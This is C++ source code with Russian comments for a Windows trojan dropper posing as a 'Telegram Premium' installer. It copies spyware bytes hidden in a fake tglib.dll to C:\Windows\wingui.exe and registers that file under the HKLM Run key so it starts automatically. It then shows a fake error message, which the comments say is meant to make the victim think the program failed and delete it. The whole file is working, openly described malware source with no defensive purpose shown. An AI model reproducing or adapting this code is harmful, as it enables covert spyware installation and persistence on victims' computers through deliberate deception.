|
|
|
|
#include <Windows.h>
|
|
|
|
|
#include <fstream>
|
|
|
|
|
#include <vector>
|
|
|
|
|
|
|
|
|
|
int WINAPI wWinMain(
|
|
|
|
|
_In_ HINSTANCE hInstance,
|
|
|
|
|
_In_opt_ HINSTANCE hPrevInstance,
|
|
|
|
|
_In_ LPWSTR lpCmdLine,
|
|
|
|
|
_In_ int nShowCmd
|
|
|
|
|
) {
|
|
|
|
|
|
|
|
|
|
const char SRC_PROGRAM_PATH[] = "tglib.dll";
|
|
|
|
|
const char DST_PROGRAM_PATH[] = "C:\\Windows\\wingui.exe";
|
|
|
|
|
|
|
|
|
|
/*
|
|
|
|
|
В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll.
|
|
|
|
|
На самом деле этот файл содержит байты клиентской части шпионского ПО.
|
|
|
|
|
Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe
|
|
|
|
|
А потом добавить файл C:\Windows\wingui.exe в автозагрузку
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
|
|
std::ifstream srcFile(SRC_PROGRAM_PATH, std::ios::binary);
|
|
|
|
|
if (!srcFile.is_open()) { // если файл куда-то пропал
|
|
|
|
|
const auto TITLE = "Ошибка инициализации";
|
|
|
|
|
const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll.";
|
|
|
|
|
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
|
|
|
|
|
return 1; // завершаем с ошибкой
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/* читаем .dll файл */
|
|
|
|
|
|
|
|
|
|
std::vector<char> spywareBytes; // в вектор будем помещать байты шпионской программы
|
|
|
|
|
while (!srcFile.eof()) { // пока есть, что читать, будем читать
|
|
|
|
|
char byte;
|
|
|
|
|
srcFile.read(&byte, sizeof byte); // считываем байт
|
|
|
|
|
spywareBytes.push_back(byte); // добавляем байт в вектор
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
srcFile.close(); // закрываем файл
|
|
|
|
|
|
|
|
|
|
/* за диске C: создаем .exe файл */
|
|
|
|
|
|
|
|
|
|
std::ofstream dstFile(DST_PROGRAM_PATH, std::ios::binary | std::ios::trunc);
|
|
|
|
|
if (!dstFile.is_open()) {
|
|
|
|
|
const auto TITLE = "Ошибка установки";
|
|
|
|
|
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001.";
|
|
|
|
|
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
|
|
|
|
|
return 1; // завершаем с ошибкой
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe
|
|
|
|
|
dstFile << byte;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
dstFile.close(); // закрываем файл
|
|
|
|
|
|
|
|
|
|
/* Добавляем wingui.exe в автозагрузку */
|
|
|
|
|
|
|
|
|
|
HKEY hKey;
|
|
|
|
|
char szPath[MAX_PATH];
|
|
|
|
|
const DWORD size = GetModuleFileName(NULL, szPath, MAX_PATH);
|
|
|
|
|
if (!(size > 0 && size < MAX_PATH)) {
|
|
|
|
|
const auto TITLE = "Ошибка установки";
|
|
|
|
|
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002.";
|
|
|
|
|
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
|
|
|
|
|
return 1; // завершаем с ошибкой
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре
|
|
|
|
|
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
|
|
|
|
NULL,
|
|
|
|
|
0,
|
|
|
|
|
REG_OPTION_NON_VOLATILE,
|
|
|
|
|
KEY_SET_VALUE,
|
|
|
|
|
NULL,
|
|
|
|
|
&hKey,
|
|
|
|
|
NULL
|
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
if (hKey) { // если ключ успешно создался, записываем значение
|
|
|
|
|
RegSetValueEx(hKey, "Win32GUI", 0, REG_SZ, (unsigned char*) DST_PROGRAM_PATH, sizeof(DST_PROGRAM_PATH));
|
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/*
|
|
|
|
|
Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой
|
|
|
|
|
Пусть он думает, что эта программа не работает, и спокойно ее удаляет
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
|
|
const auto TITLE = "Ошибка инициализации";
|
|
|
|
|
const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре.";
|
|
|
|
|
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR);
|
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
}
|